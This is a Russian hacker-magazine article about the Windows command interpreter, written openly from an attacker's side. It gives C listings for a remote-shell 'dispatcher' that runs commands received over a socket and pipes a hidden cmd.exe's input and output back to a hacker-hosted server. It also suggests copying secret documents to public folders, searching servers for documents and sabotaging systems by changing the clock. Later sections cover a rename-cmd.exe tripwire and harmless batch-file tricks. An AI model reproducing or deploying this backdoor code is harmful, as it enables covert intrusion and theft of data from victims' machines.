Секреты командного интерпретатора

Автор: (c)Крис Касперски ака мыщъх

Системы удаленного администрирования пользуются огромной популярностью и свежие версии идут нарасхват, поскольку прежние уже давно ловятся антивирусами. А антивирусы - это сакс и мастдай. К тому же настоящий хакер не может позволить себе зависеть от сторонних разработчиков и весь необходимый инструментарий он должен уметь создавать самостоятельно, тем более, что ничего сложного в этом нет...

Введение

С полсотни лет назад, когда о графических средах никто и не слышал, а монитор, способный отображать более четырех цветов, все еще оставался предметом роскоши, роль посредника между человеком и машиной ложилась на плечи командного интерпретатора. Что такое командный интерпретатор? Это черный экран и мерцающий курсор. За кажущейся унылостью и аскетичностью терминальных апартаментов (до царственной роскоши графических интерфейсов им действительно далеко) скрывается чрезвычайно мощный и к тому же нетребовательный к ресурсам инструмент.

Командный интерпретатор опирается на язык (который, как известно, определяет мышление), а графические оболочки - на тыкательный инстинкт, действующий всегда по одной и той же схеме. Командный интерпретатор может читать ввод как с клавиатуры, так и из файла. Графическая оболочка поддерживает клавиатуру лишь частично, полагаясь преимущественно на мышь. Командный интерпретатор поддается оптимизации, графические оболочки - нет. Сравнение можно продолжать бесконечно, но сам факт, что даже в эпоху засилья аляповатых икончатых интерфейсов терминальные приложения продолжают существовать, уже о многом говорит.

Сильной стороной UNIX-систем была и остается хорошо продуманная командная строка. С ее помощью можно сделать абсолютно все, что только возможно, и даже больше. Причем между локальной и удаленной консолью нет никакой принципиальной разницы. Командный интерпретатор с одинаковым аппетитом поглощает символы, набранные на клавиатуре и поступающие в компьютер по сети (правда, регистрация root'а с удаленной консоли чаще всего запрещена).

Windows NT в этом смысле намного более ущербная система. Штатный командный интерпретатор можно назвать "командным" с очень большой натяжкой. Лишь некоторые из настроек системы допускают возможность удаленного управления, а остальные приходится настраивать локально. Мышью. И хотя ядро системы не имеет к этому никакого отношения (при желании вы можете самостоятельно реализовать консольные версии всех конфигурационных утилит), отсутствие их в штатном комплекте поставки сильно огорчает. К счастью, начиная с Windows 2000 командный интерпретатор был существенно переработан и появилось множество новых консольных утилит, более или менее полно покрывающих потребности удаленного управления.

Внешний вид командного интерпретатора

Рисунок 1. Внешний вид командного интерпретатора Windows 2000.

Командный интерпретатор на службе у хакера

Что можно сделать с удаленной системой вероятного противника? Естественно, захватить! Обычно для этой цели засылается система удаленного администрирования, представляющая собой более или менее продвинутый командный интерпретатор. Но ведь на удаленной машине уже есть командный интерпретатор. Для Window 2000/XP это cmd.exe и все, что нам нужно сделать - это запустить его на выполнение и организовать одно-, а лучше двухсторонний канал связи.

Грубо говоря, командный интерпретатор упаковывается в своеобразный "конверт", также называемый "диспетчером". В задачу диспетчера входит получение входящих команд (отправленных хакером), передача их командному интерпретатору на выполнение, перехват результата и возращение его хакеру.

Простейшие диспетчеры работают только на прием, вынуждая хакера ломать систему вслепую. Впрочем, он всегда может перенаправить стандартный вывод в какой-нибудь публичный файл, так что эта "слепота" довольно условна. Главное достоинство такого приема - в его простоте. Исходный текст диспетчера свободно укладывается в десяток строк кода, компилируемых в считанное количество машинных команд. А компактность shell-кода для большинства переполняющихся буферов весьма актуальна.

Конкретный пример реализации может выглядеть, например, так:

// мотаем цикл, принимая с сокета команды,
// пока есть, что принимать

while (1)
{
        // принимаем очередную порцию данных
        a = recv(csocket, &buf[p], MAX_BUF_SIZE - p - 1, 0);

        // если соединение неожиданно закрылось, выходим из цикла
        if (a < 1) break;

        // увеличиваем счетчик кол-ва принятых символов
        // и внедряем на конец строки завершающий ноль

        p += a; buf[p] = 0;

        // строка содержит символ переноса строки?
        if ((ch = strpbrk(buf, xEOL)) != 0)
        {
                // да, содержит, отсекаем символ переноса и очищаем счетчик
                *ch = 0; p = 0;

                // если строка не пуста, передаем ее командному
                // интерпретатору на выполнение
                if (strlen(buf))
                {
                        sprintf(cmd, "%s%s", SHELL, buf); exec(cmd);
                } else break; // если это пустая строка - выходим
        }
}

Листинг 1. Ключевой фрагмент простейшего удаленного shell'а.

Диспетчер может работать через любой выбранный порт (например, 6669), причем, серверную сторону лучше размещать на компьютере хакера. Диспетчер, открывающий новый порт на компьютере жертвы, во-первых, слишком заметен, а во-вторых, большинство администраторов блокируют входящие соединения на все непубличные узлы. Атаковать же публичный узел никакого смысла нет - в девяти из десяти случаев он расположен DMZ-зоне (зоне соприкосновения с Интернетом), надежно изолированной от корпоративной локальной сети.

Попав на атакуемый компьютер, мы можем, например, посредством команды XCOPY скопировать секретные документы в общедоступную папку, скачивая их оттуда обычным путем (список имеющихся папок поможет выяснить команда dir). И все бы ничего, да "слепой" набор команд уж слишком утомляет. Хотелось бы доработать диспетчер так, чтобы видеть результат их выполнения на своем экране.

По сети ходит совершенно чудовищный код, пытающийся засунуть стандартный ввод/вывод интерпретатора в дескрипторы сокетов и надеющийся, что этот прием однажды может сработать. Но первая же проверка убеждает нас в обратном. Сокеты - это не дескрпиторы и смешивать их в одну кучу нельзя. Чтобы диспетчер реально заработал, необходимо связать дескрипторы с пайпами (от английского "pipe" - трубы), а сами пайпы - с дескрипторами. Причем, напрямую пайпы с дескрипторами несоединимы, поскольку исповедуют различные концепции ввода/вывода - пайпы используют функции ReadFile/WriteFile, а сокеты - recv/send, что существенно усложняет реализацию диспетчера:

sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = TRUE; //allow inheritable handles

if (!CreatePipe(&cstdin, &wstdin, &sa, 0)) return -1; //create stdin pipe
if (!CreatePipe(&rstdout, &cstdout, &sa, 0)) return -1; //create stdout pipe

GetStartupInfo(&si); //set startupinfo for the spawned process

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = cstdout;
si.hStdError = cstdout; //set the new handles for the child process
si.hStdInput = cstdin;

//spawn the child process
if (!CreateProcess(0, SHELL, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0, 0, &si, &pi)) return -1;

while (GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))
{

        //check to see if there is any data to read from stdout
        if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
        {
                for (a = 0; a < total; a += MAX_BUF_SIZE)
                {
                        ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);
                        send(csocket, buf, N, 0);
                }
        }

        if (!ioctlsocket(csocket, FIONREAD , &N) && N)
        {
                recv(csocket, buf, 1, 0);
                if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);
                WriteFile(wstdin, buf, 1, &N, 0);
        }
        Sleep(1);
}

Листинг 2. Ключевой фрагмент полноценного удаленного shell'а вместе с диспетчером ввода/вывода.

Теперь мы можем выполнять на атакуемом узле различные консольные программы так, как будто бы они были запущены на нашей машине. Только не пытайтесь запускать FAR или подобные ему приложения, использующие функцию WriteConsole для вывода информации на экран. Наш диспетчер перехватить ее не в силах!

Защита от вторжения

Командный интерпретатор - слишком опасная штука, чтобы держать его на своем компьютере. Но и удалить его мы не можем - тогда перестанут работать некоторые инсталляторы и программы-оболочки (например, тот же FAR). К тому же оставлять себя без командной строки - тоже не выход. Может, попробовать переименовать его? Тогда атакующие программы останутся ни у дел! Однако с легальными программами произойдет то же самое, поскольку они определяют имя командного интерпретатора по переменной COMSPEC, а она по умолчанию указывает на C:\WINNT\System32\cmd.exe.

Давайте переименуем cmd.exe в w2k_commander.exe, соответствующим образом скорректировав переменную COMSPEC. Кликнув по иконке "Мой Компьютер" правой клавишей мыши, выберем в контекстном меню пункт "Свойства", в появившемся диалоговом окне найдем закладку "Дополнительно", а в ней - кнопку "Переменные среды". COMSPEC будет расположена среди системных переменных и для ее изменения необходимы права администратора. Теперь напишем коротенькую программу, выводящую на экран предупреждение о хакерском вторжении и переименуем ее в cmd.exe.

При всей своей простоте предложенный прием необычайно эффективен. Хакеры и сетевые черви практические никогда не анализируют переменную окружения COMSPEC, поскольку это требует определенного пространства для маневра, а в переполняющихся буферах оно не всегда есть. Вместо этого командный интерпретатор вызывается по его исходному имени cmd.exe, позволяя тем самым обнаружить атаку на самых ранних стадиях проникновения.

Редактирование переменной окружения COMSPEC

Рисунок 2. Редактирование переменной окружения COMSPEC, содержащей путь к командному интерпретатору.

Команды хакерского багажа

Ниже перечислены наиболее популярные в хакерской среде команды и консольные утилиты, вызываемые из командного интерпретатора, снабженные моими комментариями. За более подробной информацией обращайтесь к справочной системе Windows или запустите файл cmd.exe с ключом /? - он много интересного расскажет.

ASSOC

При запуске без параметров выводит список зарегистрированных типов файлов и ассоциированных с ними типов приложений, позволяя тем самым выяснить, какие вообще приложения на этом компьютере есть. Теоретически можно использовать эту команду для подмены или удаления ассоциаций, однако через непосредственное обращение к реестру это сделать намного удобнее.

AT

Позволяет запускать приложения по расписанию (в том числе и на соседних машинах локальной сети). Нуждается в правах администратора и службе планировщика. Ни того, ни другого в распоряжении атакующего обычно не оказывается, а потому данная команда не относится к числу наиболее популярных.

CACLS

Управляет правами доступа к файлам и каталогам, перечисляя имена всех пользователей, имеющих доступ к данному файлу (папке) и при желании позволяет их изменить. Естественно, менее привилегированные пользователи не могут воздействовать на более привилегированных, что существенно ограничивает возможности данной команды, но отнюдь не делает ее бесполезной!

CALL

Вызывает один пакетный файл из другого, при необходимости передавая ему один или несколько аргументов (например, call cmd_file.bat "hello, world!"). В качестве разделителя аргументов используется символ "пробел". Если необходимо передать аргумент с символом пробела, его следует заключить в кавычки.

Частая ошибка начинающих - вызов пакетного файла без команды CALL (например, cmd_file.bat "hello, world!"). Дочерний файл действительно вызывается, но управление в материнский уже не возвращается, поскольку в отсутствии CALL'а вызываемый файл затирает текущую копию командного интерпретатора в памяти.

Другая проблема - типичный проект состоит из нескольких пакетных файлов, но только один из них пусковой, а остальные - вспомогательные. Как защитить пользователя от случайного запуска "не того" файла? Одно из возможных решений выглядит так: при запуске служебных файлов главный файл должен среди прочих аргументов передать им "магический пирожок", подтверждающий правомерность запуска. При запуске служебного файла пользователем такого "пирожка", естественно, не оказывается и файл либо выдает поясняющее сообщение, либо самостоятельно запускает основной файл. Тогда пользователь может запускать любой файл и это все равно будет работать. ;)

Простейший пример реализации может выглядеть так:

#ФАЙЛ MAIN.BAT
@ECHO OFF
FOR %%A IN (*.%1) DO CALL print_file_name __666__ "%%A"
REM                                                  ^
REM                                                  |
REM                                   передаем магический пирожок

Листинг 3. Главный командный файл.

#ФАЙЛ PRINT_FILE_NAME.BAT
@ECHO OFF
REM проверяем наличие магического пирожка и если его нет,
REM вызываем основной файл программы, не забыв при этом
REM передать ему аргументы командной строки и самое
REM главное - не вызывайте его командой CALL, ведь нам
REM не нужно получать управление назад!!!
IF NOT #%1#==#__666__# main.bat %1 %2 %3 %4 %5 %6

REM если мы здесь, это значит, что нас вызвали умышлено,
REM а не случайно. А раз так - выкусываем магический
REM пирожок и начинаем делать то, что мы должны делать ;)
SHIFT

REM * * * тело программы * * *
ECHO %1

Листинг 4. Вспомогательный командный файл.

К сожалению, командные файлы не поддерживают возможности вызова процедур (или в терминологии Си - функций), что затрудняет решение многих задач и вообще уродует программный листинг. Обычно в таких случаях прибегают к вызову внешних командных файлов, что также не есть хорошо, т.к. вспомогательные командные файлы смотрятся не очень-то красиво...

Тем не менее, эта задача вполне решаема! Пусть командный файл вызывает сам себя, передавая в качестве аргумента имя метки, на которую надо осуществить передачу управления. Естественно, еще потребуется включить в строку аргументов специальное ключевое слово, обозначающее вызов функции, а в начало пакетного файла - особый обработчик который бы при наличии этого самого ключевого слова перехватывал бы поток управления на себя и, сдвинув список аргументов на две позиции влево, передавал бы управление на указанную метку.

Единственная проблема - возврат значений. Вероятно, единственное, что здесь можно предложить - использовать переменные окружения, причем имеем смысл передавать имя переменной как аргумент, чтобы вызываемой и вызывающей функциям было легче "договориться" - в противном случае их будет трудно разрабатывать независимо друг от друга.

Пример реализации:

@ECHO OFF
REM * * * МЕНЕДЖЕР ВЫЗОВА ПРОЦЕДУР * * *
REM ====================================
REM ARG:
REM CALL %0 _call имя_метки_функции аргументы_функции....
REM
:call_manager
IF NOT #%1#==#_call# GOTO call_manager_end
	SHIFT
	SHIFT
	GOTO %0
:call_manager_end

REM * * * ОСНОВНОЕ ТЕЛО КОМАНДНОГО ФАЙЛА * * *
REM ==========================================
:main

rem пример вызова функции print_file_name
FOR %%A IN (*.*) DO CALL %0 _call print_file_name "%%A"
rem                       ^    ^          ^         ^
rem                       |    |          |         |

Листинг 5. Эмуляция функций средствами командного языка пакетных файлов.

FIND/FINDSTR

Поиск двоичных данных (текстовых строк) в группе файлов. Своеобразный аналог <ALT-F7> в FAR'е. Основное оружие хакера для поиска интересных документов на сервере.

PRINT

Удобная штука для опустошения принтерного лотка (а у лазерных принтеров лоток очень быстро опустошается). Можно вывести какой-нибудь текст.

TIME

Задает текущее системное время, не требуя прав администратора, что делает ее самой деструктивной командной из всех. Только представьте, что произойдет с документооборотом и базой данных, если время окажется скачкообразно переведено на несколько лет вперед!

XCOPY

Основное средство копирования файлов и подкаталогов из одной директории в другую.

Заключение

Человеку, привыкшему к "прелестям" графических интерфейсов, командный интерпретатор на первых порах кажется жутко непроизводительный и неудобным. Однако со временем ощущение дискомфорта проходит и курсор начинает биться с вашим сердцем в такт. Операции, ранее отнимающие чудовищное количество времени, теперь выполняются одним легким пассом над клавиатурой. Известно много случаев, когда люди переходили с графических сред в консольные оболочки, но я не знаю ни одного поклонника командой строки, который променял бы ее на "интиутивно-понятный" интерфейс Windows 2000/XP. Задумайтесь, почему это так?